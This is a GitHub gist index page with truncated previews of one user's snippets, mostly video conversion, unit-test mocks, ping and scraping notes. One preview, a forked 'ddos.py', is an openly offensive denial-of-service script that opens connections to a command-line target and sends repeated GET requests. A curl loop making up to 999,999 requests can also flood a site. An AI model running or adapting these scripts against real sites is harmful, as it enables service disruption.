Skip to content

Instantly share code, notes, and snippets.

@wahengchang
wahengchang / convertToMp4.py
Created Jan 24, 2020
Python script, which convert mov, flv, avi .etc to mp4 format
View convertToMp4.py
import subprocess
import os
src = './src'
dst = './mp4'
for root, dirs, filenames in os.walk(src, topdown=False):
#print(filenames)
for filename in filenames:
print('[INFO] 1',filename)
@wahengchang
wahengchang / ShareCom.js
Last active Apr 20, 2022
Unit test, mocking components
View ShareCom.js
import { InstallCom } from 'installComponent' //installed by npm
import UserCom from './userComponent'
export class ShareCom extends Component {
render() {
return (
<div>
<InstallCom para1='title1'/>
<UserCom para2='title2' />
</div>
@wahengchang
wahengchang / middleware-test.js
Created Nov 4, 2016 — forked from CodeVachon/middleware-test.js
express middleware mocha test
View middleware-test.js
var middleware = require('middleware'), // the Middleware you want to test
httpMocks = require('node-mocks-http'), // quickly sets up REQUEST and RESPONSE to be passed into Express Middleware
request = {}, // define REQUEST
response = {} // define RESPONSE
;
describe('Middleware test', function(){
context('Valid arguments are passed', function() {
beforeEach(function(done) {
/*
View .gitignore-for-truffle
// fork: openzeppelin-contracts
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/.gitignore
*.swp
*.swo
# Logs
logs
*.log
# Runtime data
@wahengchang
wahengchang / ddos.py
Created Apr 27, 2016 — forked from tinnguyenz/ddos.py
Python ddos script
View ddos.py
import socket, sys, os
print "][ Attacking " + sys.argv[1] + " ... ]["
print "injecting " + sys.argv[2];
def attack():
#pid = os.fork()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 80))
print ">> GET /" + sys.argv[2] + " HTTP/1.1"
s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")
s.send("Host: " + sys.argv[1] + "\r\n\r\n");
View dev-plugin.php
<?php
/**
* @package Dev-Plugin
* @version 1.7.2
*/
/*
Plugin Name: Dev Plugin
Plugin URI: http://wordpress.org/plugins/hello-dolly/
Description: This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from <cite>Hello, Dolly</cite> in the upper right of your admin screen on every page.
Author: Matt Mullenweg
@wahengchang
wahengchang / customPaymentWooCommercePlugin.php
Last active Aug 27, 2021
This is a gist note for myself, and the php plugin is created by Lafif Astahdziq: you can save that code as file and place under wp-content/plugins/
View customPaymentWooCommercePlugin.php
WooCommerce
Asked 8 years, 2 months ago
Active 2 months ago
Viewed 28k times
9
7
I want to add a New Payment Method in WooCommerce.
@wahengchang
wahengchang / pingLoop.sh
Created Jul 28, 2021
ping multiple IP's using bash, Loop through an array of strings of IP. and save the result to text file, with naming
View pingLoop.sh
#!/bin/bash
# Program name: pingLoop.sh
# Run: source pingLoop.sh
# put your target list of ip to arr
declare -a arr=("192.168.0.1" "192.168.0.2")
for ip in "${arr[@]}"
do
# change 200 to the number of packets that you want
@wahengchang
wahengchang / repeatLoopUrl.sh
Last active Jan 8, 2021
curl url call in for loop
View repeatLoopUrl.sh
url=https://abc.com
max=999999
for ((i=1;i<=$max;i++)); do curl -v --header "Connection: keep-alive" "$url"; done
@wahengchang
wahengchang / f2e-test-note-2019.03.22.md
Last active Mar 25, 2019
f2e-test-note-2019.03.22
View f2e-test-note-2019.03.22.md

Welcome to the Challenge

Goal

Scraping the 1000 data from this site and save it as a json file.

From this site: https://f2e-test.herokuapp.com

Username Password